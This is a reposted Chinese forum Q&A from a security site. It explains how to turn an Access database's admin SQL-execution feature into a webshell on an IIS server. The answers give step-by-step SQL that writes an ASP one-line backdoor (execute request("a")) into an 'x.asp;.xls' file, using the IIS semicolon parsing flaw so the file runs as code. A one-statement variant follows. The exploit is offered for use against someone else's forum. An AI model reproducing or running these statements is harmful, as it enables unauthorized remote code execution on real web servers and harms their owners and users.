微慑信息网

[ASP] ACCESS数据库后台sql语句执行导shell

问:
一个垃圾论坛,access数据库,无其他可利用之处,不过有个sql语句执行功能,绝对路径也知道,小弟对sql语句不懂,记得如果是mysql数据库root权限可以导出SHELL,这个是否也能导出shell呢?需要什么条件,语句又是什么?网上翻不到资料。麻烦各位。
答:
create table cmd (a varchar(50))
insert into cmd (a) values (<%execute request("a")%>)
select * into [a] in f:hostqhdyxtweba.asp;.xls excel 4.0; from cmd
drop table cmd
解释如下:
1.create table a (a varchar(50)) 建立一个有一个A字段的表 表名为a 字段类型为字符 长度为50
2.insert into a (a) values (<%execute request("a")%>) 在表a的a字段插入密码为a的一句话木马
3.select * into [a] in F:jtworka.asp;.xls excel 4.0; from a 把表a的内容导出为物理路径的一个
EXCEL文件,为什么用excel文件,因为ACCESS数据库不允许导出其他危险格式。我们导出为EXCEL后在利用IIS解析漏洞就可以变成我们的小马了。很*的说~~
4.drop table a 丢家伙闪人 射完就走!
小弟的提问,没两分钟大家就回答了,强烈顶t00ls牛淫。
这个更简单:
Access利用后台SQL执行命令功能导出WebShell:
Select <%execute request("a")%> into [vote] in d:webx.asp;.xls excel 8.0; from vote
后台提供SQL执行功能且知道绝对路径方可使用(vote为已知表段)

本文标题:[ASP] ACCESS数据库后台sql语句执行导shell
本文链接:
(转载请附上本文链接)
http://vulsee.com/archives/vulsee_2014/0327_7020.html
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » [ASP] ACCESS数据库后台sql语句执行导shell
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

微慑信息网 专注工匠精神

访问我们联系我们